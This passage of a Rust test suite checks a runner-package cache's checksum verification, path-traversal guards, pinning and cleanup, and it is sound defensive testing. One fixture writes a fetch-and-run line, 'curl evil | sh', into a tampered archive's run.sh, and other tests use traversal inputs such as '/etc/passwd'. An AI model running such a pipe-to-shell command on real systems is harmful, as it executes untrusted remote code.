3142 enum Answer {
3143 Downloads(Vec<RunnerDownload>),
3144 Rejected,
3145 Unavailable,
3146 }
3147
3148 #[derive(Debug)]
3149 struct FakeCatalog {
3150 answer: Mutex<Answer>,
3151 calls: AtomicUsize,
3152 }
3153
3154 impl FakeCatalog {
3155 fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
3156 Self::answering(Answer::Downloads(downloads))
3157 }
3158
3159 fn answering(answer: Answer) -> Arc<Self> {
3160 Arc::new(Self {
3161 answer: Mutex::new(answer),
3162 calls: AtomicUsize::new(0),
3163 })
3164 }
3165
3166 fn publish(&self, downloads: Vec<RunnerDownload>) {
3167 *self.answer.lock().unwrap() = Answer::Downloads(downloads);
3168 }
3169
3170 fn calls(&self) -> usize {
3171 self.calls.load(Ordering::SeqCst)
3172 }
3173 }
3174
3175 #[async_trait::async_trait]
3176 impl DownloadCatalog for FakeCatalog {
3177 async fn published(&self) -> Result<RunnerDownloads, PackageError> {
3178 self.calls.fetch_add(1, Ordering::SeqCst);
3179 let answer = self.answer.lock().unwrap().clone();
3180 match answer {
3181 Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
3182 Answer::Rejected => Err(PackageError::VersionRejected {
3183 version: None,
3184 detail: Some("the runner version is no longer supported".to_string()),
3185 }),
3186 Answer::Unavailable => Err(PackageError::CatalogUnavailable {
3187 detail: "502 Bad Gateway".to_string(),
3188 }),
3189 }
3190 }
3191 }
3192
3193 #[derive(Debug)]
3194 struct FakeFetcher {
3195 payload: Mutex<Vec<u8>>,
3196 calls: Mutex<Vec<(String, PathBuf)>>,
3198 wrote: Mutex<Vec<PathBuf>>,
3202 fail: Mutex<bool>,
3203 gate: Mutex<Option<Arc<tokio::sync::Semaphore>>>,
3205 }
3206
3207 impl FakeFetcher {
3208 fn with(payload: Vec<u8>) -> Arc<Self> {
3209 Arc::new(Self {
3210 payload: Mutex::new(payload),
3211 calls: Mutex::new(Vec::new()),
3212 wrote: Mutex::new(Vec::new()),
3213 fail: Mutex::new(false),
3214 gate: Mutex::new(None),
3215 })
3216 }
3217
3218 fn serve(&self, payload: Vec<u8>) {
3219 *self.payload.lock().unwrap() = payload;
3220 }
3221
3222 fn calls(&self) -> Vec<(String, PathBuf)> {
3223 self.calls.lock().unwrap().clone()
3224 }
3225
3226 fn count(&self) -> usize {
3227 self.calls.lock().unwrap().len()
3228 }
3229
3230 fn wrote(&self) -> Vec<PathBuf> {
3231 self.wrote.lock().unwrap().clone()
3232 }
3233 }
3234
3235 #[async_trait::async_trait]
3236 impl PackageFetcher for FakeFetcher {
3237 async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
3238 self.calls
3239 .lock()
3240 .unwrap()
3241 .push((url.to_string(), destination.to_path_buf()));
3242 let gate = self.gate.lock().unwrap().clone();
3243 if let Some(gate) = gate {
3244 gate.acquire().await.expect("never closed").forget();
3245 }
3246 if *self.fail.lock().unwrap() {
3247 return Err(PackageError::Download {
3248 detail: "connection reset".to_string(),
3249 });
3250 }
3251 let payload = self.payload.lock().unwrap().clone();
3252 fs::write(destination, &payload).expect("the fake fetcher writes its payload");
3253 assert!(
3254 destination.is_file(),
3255 "the fake fetcher must actually create the file, or every \
3256 assertion about removing it is vacuous"
3257 );
3258 self.wrote.lock().unwrap().push(destination.to_path_buf());
3259 Ok(payload.len() as u64)
3260 }
3261 }
3262
3263 struct Harness {
3266 _dir: tempfile::TempDir,
3267 paths: AppPaths,
3268 catalog: Arc<FakeCatalog>,
3269 fetcher: Arc<FakeFetcher>,
3270 clock: Arc<FakeClock>,
3271 }
3272
3273 impl Harness {
3274 fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
3275 let dir = tempfile::tempdir().expect("a temporary root");
3276 let paths = AppPaths::rooted_at(dir.path());
3277 Self {
3278 _dir: dir,
3279 paths,
3280 catalog: FakeCatalog::with(downloads),
3281 fetcher: FakeFetcher::with(payload),
3282 clock: Arc::new(FakeClock::default()),
3283 }
3284 }
3285
3286 fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
3287 self.catalog = catalog;
3288 self
3289 }
3290
3291 fn cache(&self) -> PackageCache {
3292 self.cache_for(Os::Linux, Arch::X64)
3293 }
3294
3295 fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
3296 PackageCache::new(
3297 &self.paths,
3298 os,
3299 arch,
3300 CachePorts {
3301 catalog: self.catalog.clone(),
3302 fetcher: self.fetcher.clone(),
3303 backoff: Arc::new(NoBackoff),
3304 clock: self.clock.clone(),
3305 },
3306 )
3307 }
3308 }
3309
3310 fn linux_fixture() -> (Harness, Vec<u8>, String) {
3313 let payload = tar_gz_bytes(&package_entries());
3314 let digest = hex_digest(&payload);
3315 let downloads = vec![published(
3316 "linux",
3317 "x64",
3318 "2.330.0",
3319 ".tar.gz",
3320 Some(&digest),
3321 )];
3322 (Harness::new(downloads, payload.clone()), payload, digest)
3323 }
3324
3325 fn all_paths(root: &Path) -> Vec<String> {
3327 fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
3328 let Ok(entries) = fs::read_dir(dir) else {
3329 return;
3330 };
3331 for entry in entries.flatten() {
3332 let path = entry.path();
3333 out.push(
3334 path.strip_prefix(base)
3335 .unwrap_or(&path)
3336 .to_string_lossy()
3337 .replace('\\', "/"),
3338 );
3339 if path.is_dir() {
3340 walk(base, &path, out);
3341 }
3342 }
3343 }
3344 let mut out = Vec::new();
3345 walk(root, root, &mut out);
3346 out.sort();
3347 out
3348 }
3349
3350 fn version(raw: &str) -> RunnerVersion {
3351 RunnerVersion::parse(raw).expect("a well-formed test version")
3352 }
3353
3354 #[test]
3360 fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
3361 for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
3362 assert!(
3363 RunnerVersion::parse(good).is_ok(),
3364 "`{good}` should parse as a version"
3365 );
3366 }
3367 for bad in [
3370 "",
3371 ".",
3372 "..",
3373 "../..",
3374 "2",
3375 "2.330.0.1.2",
3376 "a.b",
3377 "2.330.x",
3378 "2/330",
3379 "2\\330",
3380 "/2.330.0",
3381 "C:2.330.0",
3382 "2.330.0 ",
3383 " 2.330.0",
3384 "2..0",
3385 "2.330.0/../..",
3386 ] {
3387 assert!(
3388 RunnerVersion::parse(bad).is_err(),
3389 "`{bad}` must be refused: it becomes a directory name"
3390 );
3391 }
3392 }
3393
3394 #[test]
3395 fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
3396 for candidate in [
3405 "2.330.0",
3406 "2.9",
3407 "1.2.3.4",
3408 "",
3409 ".",
3410 "..",
3411 "../..",
3412 "2",
3413 "a.b",
3414 "2/330",
3415 "2\\330",
3416 "/2.330.0",
3417 "C:2.330.0",
3418 "2..0",
3419 "2.330.0/../..",
3420 ] {
3421 let Ok(parsed) = RunnerVersion::parse(candidate) else {
3422 continue;
3423 };
3424 let joined = Path::new("root").join(parsed.as_str());
3425 assert_eq!(
3426 joined.components().count(),
3427 2,
3428 "`{candidate}` parsed but adds more than one path component"
3429 );
3430 assert!(
3431 !joined
3432 .components()
3433 .any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
3434 "`{candidate}` parsed but introduces a traversal or a root"
3435 );
3436 }
3437 }
3438
3439 #[test]
3440 fn versions_order_numerically_not_lexically() {
3441 assert!(version("2.9.0") < version("2.10.0"));
3442 assert!(version("2.330.0") > version("2.329.9"));
3443 }
3444
3445 #[test]
3446 fn a_version_is_read_out_of_the_published_filename() {
3447 assert_eq!(
3450 RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
3451 version("2.330.0")
3452 );
3453 assert_eq!(
3454 RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
3455 version("2.330.0")
3456 );
3457 let fixture = gh::download("osx", "arm64");
3459 assert_eq!(
3460 RunnerVersion::from_filename(&fixture.filename).unwrap(),
3461 version("2.330.0")
3462 );
3463 }
3464
3465 #[test]
3466 fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
3467 for bad in [
3468 "actions-runner-linux-x64-2.330.0.rar",
3469 "actions-runner-linux-x64-2.330.0",
3470 "actions-runner-linux-x64-2.330.0.tar.xz",
3471 ] {
3472 let error = RunnerVersion::from_filename(bad).unwrap_err();
3473 assert!(
3474 matches!(error, PackageError::UnsupportedArchive { .. }),
3475 "`{bad}` should be an unsupported archive, got {error:?}"
3476 );
3477 assert!(error.is_terminal());
3478 }
3479 }
3480
3481 #[test]
3482 fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
3483 let upper = "A".repeat(64);
3484 assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
3485 for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
3486 assert!(
3487 Sha256Hex::parse(bad).is_err(),
3488 "`{bad}` is not a SHA-256 digest"
3489 );
3490 }
3491 }
3492
3493 #[test]
3494 fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
3495 let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
3500 assert!(matches!(error, PackageError::MalformedDigest { .. }));
3501 assert!(error.is_terminal());
3502 assert!(error.operator_action().is_some());
3503 }
3504
3505 #[test]
3511 fn containment_answers_for_paths_that_do_not_exist() {
3512 let root = Path::new("/cache/packages");
3513 assert!(is_inside(root, Path::new("/cache/packages")));
3514 assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
3515 assert!(!is_inside(root, Path::new("/cache")));
3516 assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
3517 assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
3518 assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
3521 }
3522
3523 #[test]
3524 fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
3525 let root = Path::new("/cache/staging/root");
3526 assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
3527 assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
3528 for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
3529 let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
3530 assert!(
3531 matches!(error, PackageError::UnsafeArchiveEntry { .. }),
3532 "`{escape}` must be refused, got {error:?}"
3533 );
3534 }
3535 }
3536
3537 #[tokio::test]
3543 async fn the_entry_matching_this_host_is_the_one_downloaded() {
3544 let payload = tar_gz_bytes(&package_entries());
3545 let digest = hex_digest(&payload);
3546 let harness = Harness::new(
3550 vec![
3551 published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3552 published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
3553 published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3554 ],
3555 payload,
3556 );
3557 let cache = harness.cache_for(Os::Linux, Arch::X64);
3558
3559 let installed = cache.ensure_installed().await.expect("an install");
3560
3561 assert_eq!(installed.version(), &version("2.330.0"));
3562 let calls = harness.fetcher.calls();
3563 assert_eq!(calls.len(), 1);
3564 assert!(
3565 calls[0]
3566 .0
3567 .contains("actions-runner-linux-x64-2.330.0.tar.gz"),
3568 "the linux/x64 package should have been fetched, not `{}`",
3569 calls[0].0
3570 );
3571 }
3572
3573 #[tokio::test]
3574 async fn each_documented_host_selects_its_own_published_package() {
3575 for (os, arch, token_os, token_arch, extension) in [
3579 (Os::Windows, Arch::X64, "win", "x64", ".zip"),
3580 (Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
3581 (Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
3582 ] {
3583 let payload = if extension == ".zip" {
3584 zip_bytes(&package_entries())
3585 } else {
3586 tar_gz_bytes(&package_entries())
3587 };
3588 let digest = hex_digest(&payload);
3589 let harness = Harness::new(
3590 vec![
3591 published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3592 published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3593 published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
3594 ],
3595 payload,
3596 );
3597 let cache = harness.cache_for(os, arch);
3598
3599 let installed = cache
3600 .ensure_installed()
3601 .await
3602 .unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
3603
3604 let url = &harness.fetcher.calls()[0].0;
3605 assert!(
3606 url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
3607 "{os}/{arch} fetched `{url}`"
3608 );
3609 assert!(installed.root().join("run.sh").is_file());
3610 }
3611 }
3612
3613 #[tokio::test]
3614 async fn an_undocumented_host_is_refused_before_anything_is_requested() {
3615 let (harness, _, _) = linux_fixture();
3616 let cache = harness.cache_for(Os::Windows, Arch::Arm32);
3619
3620 let error = cache.ensure_installed().await.unwrap_err();
3621
3622 assert!(matches!(error, PackageError::UnsupportedHost(_)));
3623 assert!(error.is_terminal());
3624 assert!(error.operator_action().is_some());
3625 assert_eq!(
3626 harness.catalog.calls(),
3627 0,
3628 "an unsupported pair must be refused before the catalog is consulted"
3629 );
3630 assert_eq!(
3631 harness.fetcher.count(),
3632 0,
3633 "an unsupported pair must be refused before any download"
3634 );
3635 }
3636
3637 #[tokio::test]
3638 async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
3639 let payload = tar_gz_bytes(&package_entries());
3640 let digest = hex_digest(&payload);
3641 let harness = Harness::new(
3643 vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
3644 payload,
3645 );
3646 let cache = harness.cache_for(Os::Linux, Arch::X64);
3647
3648 let error = cache.ensure_installed().await.unwrap_err();
3649
3650 assert!(matches!(error, PackageError::NoPackagePublished { .. }));
3651 assert!(error.is_terminal());
3652 assert_eq!(
3653 harness.fetcher.count(),
3654 0,
3655 "no package published must never fall back to a hardcoded URL"
3656 );
3657 }
3658
3659 #[tokio::test]
3665 async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
3666 let (harness, published_bytes, published_digest) = linux_fixture();
3667 let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
3673 assert_ne!(
3674 hex_digest(&substituted),
3675 published_digest,
3676 "the substituted archive must differ from the published one"
3677 );
3678 assert_ne!(substituted, published_bytes);
3679 assert!(
3682 tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3683 substituted.clone()
3684 )))
3685 .entries()
3686 .map(|entries| entries.count() == 1)
3687 .unwrap_or(false),
3688 "the substituted archive must be well formed, or this test proves \
3689 nothing about the checksum"
3690 );
3691 harness.fetcher.serve(substituted);
3692 let cache = harness.cache().with_retry_budget(1);
3693
3694 let error = cache.ensure_installed().await.unwrap_err();
3695
3696 let inner = match &error {
3697 PackageError::Exhausted { source, .. } => source.as_ref(),
3698 other => other,
3699 };
3700 assert!(
3701 matches!(inner, PackageError::ChecksumMismatch { .. }),
3702 "expected a checksum mismatch, got {error:?}"
3703 );
3704 assert_eq!(
3705 inner.failure_reason(),
3706 Some(FailureReason::RunnerPackageUnverified)
3707 );
3708
3709 assert!(cache.installed().unwrap().is_empty());
3711 assert!(
3712 !cache.root().join("2.330.0").exists(),
3713 "a rejected package must leave no version directory behind; found {:?}",
3714 all_paths(cache.root())
3715 );
3716 let leftovers = all_paths(cache.root());
3718 assert!(
3719 !leftovers.iter().any(|path| path.ends_with("run.sh")),
3720 "nothing from the archive may have been unpacked; found {leftovers:?}"
3721 );
3722 }
3723
3724 #[tokio::test]
3725 async fn the_unverified_download_is_removed_from_disk() {
3726 let (harness, _, _) = linux_fixture();
3727 harness
3728 .fetcher
3729 .serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
3730 let cache = harness.cache().with_retry_budget(1);
3731
3732 let error = cache.ensure_installed().await.unwrap_err();
3733 assert!(error.failure_reason().is_some());
3734
3735 let wrote = harness.fetcher.wrote();
3739 assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
3740 assert!(
3741 !wrote[0].exists(),
3742 "the unverified download at {:?} must have been removed",
3743 wrote[0]
3744 );
3745
3746 let leftovers = all_paths(cache.root());
3748 assert!(
3749 !leftovers.iter().any(|path| path.ends_with(".archive")),
3750 "no downloaded archive may survive a mismatch; found {leftovers:?}"
3751 );
3752 }
3753
3754 #[tokio::test]
3755 async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
3756 let (harness, good, _) = linux_fixture();
3760 harness
3761 .fetcher
3762 .serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
3763 let cache = harness.cache().with_retry_budget(3);
3764
3765 let error = cache.ensure_installed().await.unwrap_err();
3767 assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3768 assert_eq!(
3769 harness.fetcher.count(),
3770 3,
3771 "a mismatch is retryable, so the budget should have been spent"
3772 );
3773
3774 harness.fetcher.serve(good);
3776 let installed = cache.ensure_installed().await.expect("clean bytes install");
3777 assert_eq!(installed.version(), &version("2.330.0"));
3778 }
3779
3780 #[tokio::test]
3786 async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
3787 let payload = tar_gz_bytes(&package_entries());
3788 let without = gh::download_without_checksum("linux", "x64");
3790 assert!(without.sha256_checksum().is_none());
3791 let harness = Harness::new(vec![without], payload);
3792 let cache = harness.cache();
3793
3794 let error = cache.ensure_installed().await.unwrap_err();
3795
3796 assert!(
3797 matches!(
3798 error,
3799 PackageError::ChecksumAbsent {
3800 published: PublishedChecksum::Absent,
3801 ..
3802 }
3803 ),
3804 "expected an absent checksum, got {error:?}"
3805 );
3806 assert!(error.is_terminal(), "failing closed is never retryable");
3807 assert_eq!(
3808 error.failure_reason(),
3809 Some(FailureReason::RunnerPackageUnverified)
3810 );
3811 let action = error.operator_action().expect("a terminal error acts");
3812 assert!(
3813 action.contains("pin"),
3814 "the remedy must name pinning, got `{action}`"
3815 );
3816 assert!(
3817 error.to_string().contains("Pin the digest"),
3818 "the message must name the remedy: `{error}`"
3819 );
3820 assert_eq!(
3821 harness.fetcher.count(),
3822 0,
3823 "an unverifiable package must not be downloaded at all"
3824 );
3825 }
3826
3827 #[tokio::test]
3828 async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
3829 let payload = tar_gz_bytes(&package_entries());
3833 let harness = Harness::new(
3834 vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
3835 payload,
3836 );
3837
3838 let error = harness.cache().ensure_installed().await.unwrap_err();
3839
3840 assert!(
3841 matches!(
3842 error,
3843 PackageError::ChecksumAbsent {
3844 published: PublishedChecksum::Empty,
3845 ..
3846 }
3847 ),
3848 "expected an empty checksum, got {error:?}"
3849 );
3850 assert!(error.to_string().contains("an empty sha256_checksum"));
3851 }
3852
3853 #[tokio::test]
3854 async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
3855 let payload = tar_gz_bytes(&package_entries());
3856 let digest = hex_digest(&payload);
3857 let harness = Harness::new(
3858 vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3859 payload,
3860 );
3861 let cache = harness.cache().with_pins(
3862 PinnedDigests::new()
3863 .pin("2.330.0", &digest)
3864 .expect("a well-formed pin"),
3865 );
3866
3867 let installed = cache.ensure_installed().await.expect("a pinned install");
3868
3869 assert_eq!(installed.version(), &version("2.330.0"));
3870 assert_eq!(installed.digest().as_str(), digest);
3871 assert!(installed.root().join("run.sh").is_file());
3872 }
3873
3874 #[tokio::test]
3875 async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
3876 let payload = tar_gz_bytes(&package_entries());
3880 let harness = Harness::new(
3881 vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3882 payload,
3883 );
3884 let cache = harness.cache().with_retry_budget(1).with_pins(
3885 PinnedDigests::new()
3886 .pin("2.330.0", &"a".repeat(64))
3887 .unwrap(),
3888 );
3889
3890 let error = cache.ensure_installed().await.unwrap_err();
3891
3892 let inner = match &error {
3893 PackageError::Exhausted { source, .. } => source.as_ref(),
3894 other => other,
3895 };
3896 assert!(
3897 matches!(inner, PackageError::ChecksumMismatch { .. }),
3898 "a wrong pin must still refuse, got {error:?}"
3899 );
3900 assert!(cache.installed().unwrap().is_empty());
3901 }
3902
3903 #[tokio::test]
3904 async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
3905 let payload = tar_gz_bytes(&package_entries());
3906 let digest = hex_digest(&payload);
3907 let harness = Harness::new(
3908 vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3909 payload,
3910 );
3911 let cache = harness
3913 .cache()
3914 .with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
3915
3916 let error = cache.ensure_installed().await.unwrap_err();
3917
3918 assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
3919 assert_eq!(harness.fetcher.count(), 0);
3920 }
3921
3922 #[tokio::test]
3923 async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
3924 let payload = tar_gz_bytes(&package_entries());
3928 for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
3929 let harness = Harness::new(
3930 vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
3931 payload.clone(),
3932 );
3933
3934 let error = harness.cache().ensure_installed().await.unwrap_err();
3935
3936 assert!(
3937 matches!(
3938 error,
3939 PackageError::ChecksumAbsent {
3940 published: PublishedChecksum::Malformed,
3941 ..
3942 }
3943 ),
3944 "`{bad}` should be reported as malformed, got {error:?}"
3945 );
3946 assert!(error.is_terminal());
3947 assert_eq!(
3948 error.failure_reason(),
3949 Some(FailureReason::RunnerPackageUnverified)
3950 );
3951 assert!(
3952 error.to_string().contains("a malformed sha256_checksum"),
3953 "the operator is owed the shape that actually arrived: `{error}`"
3954 );
3955 assert_eq!(harness.fetcher.count(), 0);
3956 }
3957 }
3958
3959 #[tokio::test]
3960 async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
3961 let payload = tar_gz_bytes(&package_entries());
3964 let digest = hex_digest(&payload);
3965 let harness = Harness::new(
3966 vec![published(
3967 "linux",
3968 "x64",
3969 "2.330.0",
3970 ".tar.gz",
3971 Some("sha256:9f86d081884c7d65"),
3972 )],
3973 payload,
3974 );
3975 let cache = harness
3976 .cache()
3977 .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3978
3979 let installed = cache
3980 .ensure_installed()
3981 .await
3982 .expect("a pin rescues a malformed published checksum");
3983
3984 assert_eq!(installed.digest().as_str(), digest);
3985 assert!(installed.root().join("run.sh").is_file());
3986 }
3987
3988 #[tokio::test]
3989 async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
3990 let payload = tar_gz_bytes(&package_entries());
3991 let digest = hex_digest(&payload);
3992 for (raw, expected) in [
3993 (None, PublishedChecksum::Absent),
3994 (Some(""), PublishedChecksum::Empty),
3995 (Some("nonsense"), PublishedChecksum::Malformed),
3996 ] {
3997 let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
3998
3999 let harness = Harness::new(downloads.clone(), payload.clone());
4001 let error = harness.cache().ensure_installed().await.unwrap_err();
4002 assert!(
4003 matches!(
4004 &error,
4005 PackageError::ChecksumAbsent { published, .. } if *published == expected
4006 ),
4007 "{expected:?}: got {error:?}"
4008 );
4009 assert!(error.operator_action().unwrap().contains("pin"));
4010
4011 let harness = Harness::new(downloads, payload.clone());
4014 let cache = harness
4015 .cache()
4016 .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
4017 cache
4018 .ensure_installed()
4019 .await
4020 .unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
4021 }
4022 }
4023
4024 #[tokio::test]
4030 async fn a_second_install_of_the_same_version_rewrites_nothing() {
4031 let (harness, _, _) = linux_fixture();
4032 let cache = harness.cache();
4033
4034 let first = cache.ensure_installed().await.expect("the first install");
4035 assert_eq!(harness.fetcher.count(), 1);
4036 assert_eq!(harness.catalog.calls(), 1);
4037
4038 harness
4048 .clock
4049 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4050
4051 let second = cache.ensure_installed().await.expect("the second install");
4052
4053 assert_eq!(second.version(), first.version());
4054 assert_eq!(second.root(), first.root());
4055 assert_eq!(
4056 harness.catalog.calls(),
4057 2,
4058 "the published version should have been re-checked"
4059 );
4060 assert_eq!(
4080 harness.fetcher.count(),
4081 1,
4082 "a version already held must not be downloaded again"
4083 );
4084 }
4085
4086 #[test]
4087 fn the_commit_rename_never_replaces_an_existing_entry() {
4088 let dir = tempfile::tempdir().expect("a temporary root");
4098 let existing = dir.path().join("2.330.0");
4099 fs::create_dir_all(existing.join("bin")).unwrap();
4100 fs::write(existing.join("run.sh"), b"the original").unwrap();
4101 let replacement = dir.path().join("staging");
4102 fs::create_dir_all(&replacement).unwrap();
4103 fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
4104
4105 let result = fs::rename(&replacement, &existing);
4106
4107 assert!(
4108 result.is_err(),
4109 "renaming onto a populated entry must fail, or entries are mutable"
4110 );
4111 assert_eq!(
4112 fs::read_to_string(existing.join("run.sh")).unwrap(),
4113 "the original",
4114 "the existing entry's contents must survive"
4115 );
4116 assert!(
4117 existing.join("bin").is_dir(),
4118 "the existing entry's structure must survive"
4119 );
4120 }
4121
4122 #[tokio::test]
4123 async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
4124 let (harness, _, _) = linux_fixture();
4140 let cache = harness.cache();
4141 let first = cache.ensure_installed().await.expect("an install");
4142 harness
4143 .clock
4144 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4145
4146 let again = cache.ensure_installed().await.expect("the same entry");
4147
4148 assert!(
4149 cache.is_stale(&first, harness.clock.now()),
4150 "the entry really is past the deadline"
4151 );
4152 assert_eq!(again.version(), first.version());
4153 assert_eq!(harness.fetcher.count(), 1);
4154 assert_eq!(cache.installed().unwrap().len(), 1);
4155 }
4156
4157 #[tokio::test]
4158 async fn an_entry_is_complete_the_moment_it_exists() {
4159 let (harness, _, _) = linux_fixture();
4164 let cache = harness.cache();
4165 let installed = cache.ensure_installed().await.expect("an install");
4166 assert!(installed.root().join(MANIFEST_FILE).is_file());
4167
4168 let impostor = cache.root().join("9.9.9");
4170 fs::create_dir_all(impostor.join("bin")).unwrap();
4171 fs::write(impostor.join("run.sh"), b"not ours").unwrap();
4172
4173 assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
4174 assert_eq!(
4175 cache.installed().unwrap().len(),
4176 1,
4177 "only the real entry counts as installed"
4178 );
4179 }
4180
4181 #[tokio::test]
4182 async fn a_download_that_fails_leaves_no_entry_and_no_file() {
4183 let (harness, _, _) = linux_fixture();
4184 *harness.fetcher.fail.lock().unwrap() = true;
4185 let cache = harness.cache().with_retry_budget(1);
4186
4187 assert!(cache.ensure_installed().await.is_err());
4188
4189 assert!(cache.installed().unwrap().is_empty());
4190 let leftovers = all_paths(cache.root());
4191 assert_eq!(
4192 leftovers,
4193 vec![".staging".to_string()],
4194 "a failed download leaves an empty staging directory and nothing else"
4195 );
4196 }
4197
4198 #[tokio::test]
4199 async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
4200 let payload = b"this verifies but is not a gzip stream".to_vec();
4205 let harness = Harness::new(
4206 vec![published(
4207 "linux",
4208 "x64",
4209 "2.330.0",
4210 ".tar.gz",
4211 Some(&hex_digest(&payload)),
4212 )],
4213 payload,
4214 );
4215 let cache = harness.cache().with_retry_budget(1);
4216
4217 let error = cache.ensure_installed().await.unwrap_err();
4218 let inner = match &error {
4219 PackageError::Exhausted { source, .. } => source.as_ref(),
4220 other => other,
4221 };
4222 assert!(
4223 matches!(inner, PackageError::Extract { .. }),
4224 "expected an extraction failure, got {error:?}"
4225 );
4226
4227 let wrote = harness.fetcher.wrote();
4228 assert_eq!(wrote.len(), 1, "the download did happen");
4229 assert!(
4230 !wrote[0].exists(),
4231 "the verified-but-unusable download at {:?} must still be removed",
4232 wrote[0]
4233 );
4234 assert!(cache.installed().unwrap().is_empty());
4235
4236 let before = all_paths(cache.root());
4239 assert!(
4240 before.iter().all(|path| path.starts_with(".staging")),
4241 "only staging litter may survive; found {before:?}"
4242 );
4243 cache.sweep_staging().expect("a sweep");
4244 assert_eq!(
4245 all_paths(cache.root()),
4246 vec![".staging".to_string()],
4247 "the sweep empties staging, leaving only the directory itself"
4248 );
4249 }
4250
4251 #[tokio::test]
4256 async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
4257 let (harness, _, _) = linux_fixture();
4258 let cache = harness.cache();
4259 let first = cache.ensure_installed().await.expect("the first install");
4260 assert_eq!(first.version(), &version("2.330.0"));
4261
4262 let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
4264 harness.catalog.publish(vec![published(
4265 "linux",
4266 "x64",
4267 "2.340.0",
4268 ".tar.gz",
4269 Some(&hex_digest(&newer)),
4270 )]);
4271 harness.fetcher.serve(newer);
4272 harness
4273 .clock
4274 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4275
4276 let second = cache.ensure_installed().await.expect("a refresh");
4277
4278 assert_eq!(second.version(), &version("2.340.0"));
4279 assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
4280 assert_eq!(
4281 cache.installed().unwrap().len(),
4282 2,
4283 "the old entry is not removed by a refresh; pruning is a separate, \
4284 guarded decision"
4285 );
4286 }
4287
4288 #[tokio::test]
4289 async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
4290 let (harness, _, _) = linux_fixture();
4293 let cache = harness.cache();
4294 cache.ensure_installed().await.expect("the first install");
4295
4296 let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4297 harness.catalog.publish(vec![published(
4298 "linux",
4299 "x64",
